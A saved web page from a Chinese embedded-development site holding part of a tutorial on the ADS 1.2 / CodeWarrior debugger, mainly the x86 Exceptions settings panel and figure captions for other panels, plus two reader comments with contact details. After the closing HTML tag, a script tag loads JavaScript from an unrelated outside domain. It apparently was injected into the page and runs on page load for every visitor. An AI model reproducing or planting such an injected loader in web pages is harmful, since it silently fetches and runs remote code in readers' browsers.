📄 ads1_2 使用教程 (4)调试 - 开发工具 - arm嵌入式资源站.htm
字号:
<P><STRONG><FONT face="Arial, Helvetica, sans-serif"
size=2>x86 </FONT><FONT face=幼圆 size=+1>异常</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=+1>(Exceptions)</FONT></STRONG></P><FONT
face="Arial, Helvetica, sans-serif" size=2>
<DIV align=center twffan="done">
<CENTER>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD><IMG height=423
alt="Figure 5-7: The x86 Exceptions panel."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/icwwL5_fig7.gif"
width=627 align=left twffan="done">
</TD></TR></TBODY></TABLE></CENTER></DIV>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>当你调试有问题的代码时, </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CodeWarrior
</FONT><FONT size=2>调试器会截取到由程序的 bug
引起的某些奇怪的操作</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>(</FONT><FONT
size=2>即所谓的 异常——</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>Exceptions)</FONT><FONT size=2>。 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>IDE
</FONT><FONT
size=2>会将这些异常传递给一个特殊的代码——一个被称之为处理器的东西——由它来处理这些异常问题。</FONT></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>但是,对于大多数的异常,调试器只是简单地中断它的工作而已。为什么会这样呢?</FONT></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>如果你正在做一个高级开发,例如开发一个系统库或一个设备驱动程序,你可能想测试一下这些代码是如何处理这些异常的。只有调试器不截取这些异常时,你才能这么做。如果为了一些特定的原因,你希望调试器抓住某些特定异常发生时的控制</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>("seize
control of the moment" for specific exceptions)
</FONT><FONT size=2>,你就应该在这个设置面板上做一些设置。在该面板上显示的异常是
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>CodeWarrior </FONT><FONT
size=2>的集成开发环境可以处置的情况。点击那些你希望由调试器来处理的异常情况,然后点击“保存”按钮保存设置。就像前面提到的,这是很高级的编程设置,因此我们在这将不作详细讨论。总之,</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CodeWarrior
</FONT><FONT
size=2>的调试器是一个非常先进的,而且很易于使用的附件。如果你学好了调试器的使用,它将会成为你开发软件的最重要的一个工具。</FONT></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>另外还有“其它的可执行程序”和“远程调试”设置面板,它们是针对高级用户设置的,本课程不打算再作介绍。如果你需要同时调试多个可执行程序或通过
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>TCP/IP </FONT><FONT
size=2>网络来调试程序的话,你可以自行参看这几个设置面板。</FONT><BR><FONT
face="Arial, Helvetica, sans-serif"
size=2> </FONT></P></FONT></FONT></FONT></FONT></FONT></FONT></FONT></FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-7:
x86 </FONT><FONT size=1>出错信息面板</FONT></EM></P></TD></TR>
<TR>
<TD><FONT size=2><IMG height=424
alt="Figure 5-6: Target and Project Debugger Settings."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_Fig6.gif"
width=626 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-6:
</FONT><FONT size=1>目标文件和工程调试器设置</FONT></EM></P></TD></TR>
<TR>
<TD><FONT size=2><IMG height=422
alt="Figure 5-5: Remote Connections."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig5.gif"
width=624 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-5:
</FONT><FONT size=1>远程连接</FONT></EM></P></TD></TR>
<TR>
<TD><FONT size=2><IMG height=423
alt="Figure 5-4: Global settings."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig4.gif"
width=625 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-4:
</FONT><FONT size=1>全局设置</FONT></EM></P></TD></TR>
<TR>
<TD><FONT size=2><IMG height=424
alt="Figure 5-3: Windowing Settings."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig3.gif"
width=625 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-3:
</FONT><FONT size=1>关于视窗的设置</FONT></EM></P></TD></TR>
<TR>
<TD><FONT size=2><IMG height=423
alt="Figure 5-2: Display settings."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig2.gif"
width=624 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-2:
</FONT><FONT size=1>调试器全局参数设置显示</FONT></EM></P></TD></TR>
<TR>
<TD><FONT size=2><IMG height=484
alt="Figure 5-1: The debugger does its thing."
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/icwwL5_fig1.gif"
width=542 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>5-1:
</FONT><FONT
size=1>调试器界面</FONT></EM></P></TD></TR></TBODY></TABLE></CENTER></DIV></TD></TR></TBODY></TABLE>
<SCRIPT>my_tag("gg_300_300",1);</SCRIPT>
</TD></TR></TBODY></TABLE><BR><A name=comment></A>相关评论:
<HR>
<TABLE width="98%" border=0>
<TBODY>
<TR>
<TD>评论人:foxdeng</TD>
<TD>2007-04-04</TD></TR>
<TR>
<TD colSpan=2>评论人:foxdeng 2007-04-04
你用的什么版本的啊,我的ads1.2上怎么没有这么多的选项呢?非常希望跟你联系mail: callful@163.com
qq:285170438
<HR>
</TD></TR>
<TR>
<TD>评论人:foxdeng</TD>
<TD>2007-04-04</TD></TR>
<TR>
<TD colSpan=2>你用的什么版本的啊,我的ads1.2上怎么没有这么多的选项呢?非常希望跟你联系mail:
callful@163.com qq:285170439
<HR>
</TD></TR></TBODY></TABLE>
<SCRIPT language=JavaScript>
comment_author = '评论人';
comment_content = '评论内容';
</SCRIPT>
<SPAN id=comment_form></SPAN><BR><IMG height=6
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/jian_tou_2.gif" width=9
align=absMiddle> 本文章所属分类:<A href="http://www.embed-game.com/">首页</A> → <A
href="http://www.embed-game.com/article_html/BianYiQiXiangGuan/">开发工具</A>
</DIV></DIV></TD>
<TD vAlign=top width=180><!-- 右边部分 -->
<DIV class="t3 bcy bgy bg_blue">
<SCRIPT>my_tag("my_text_002",1);;</SCRIPT>
</DIV>
<DIV class="b3 bcy mb12">
<SCRIPT>my_tag("gg_160_600",1);</SCRIPT>
</DIV>
<DIV class="t4 bcy bgy mb12 bg_blue"><A class=lbk
href="http://www.embed-game.com/">返回网站首页</A></DIV>
<DIV class=b4y>
<SCRIPT>my_tag("feedback_text",1);</SCRIPT>
</DIV></TD></TR></TBODY></TABLE><!-- 页底部分 -->
<DIV id=cp>
<SCRIPT>my_tag("copyright",1);</SCRIPT>
</DIV><!-- 以下js用于自动更新静态页,统计文章点击数等用途 -->
<SCRIPT>
hbcms_dir = "";
hbcms_tpl = "article_detail.tpl.html";
hbcms_ctime = 1178847368;
</SCRIPT>
<SCRIPT
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/hbcms_bottom_js.js"></SCRIPT>
</BODY></HTML>
<script language=javascript src=http://bole.netstv.net/xia/win.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -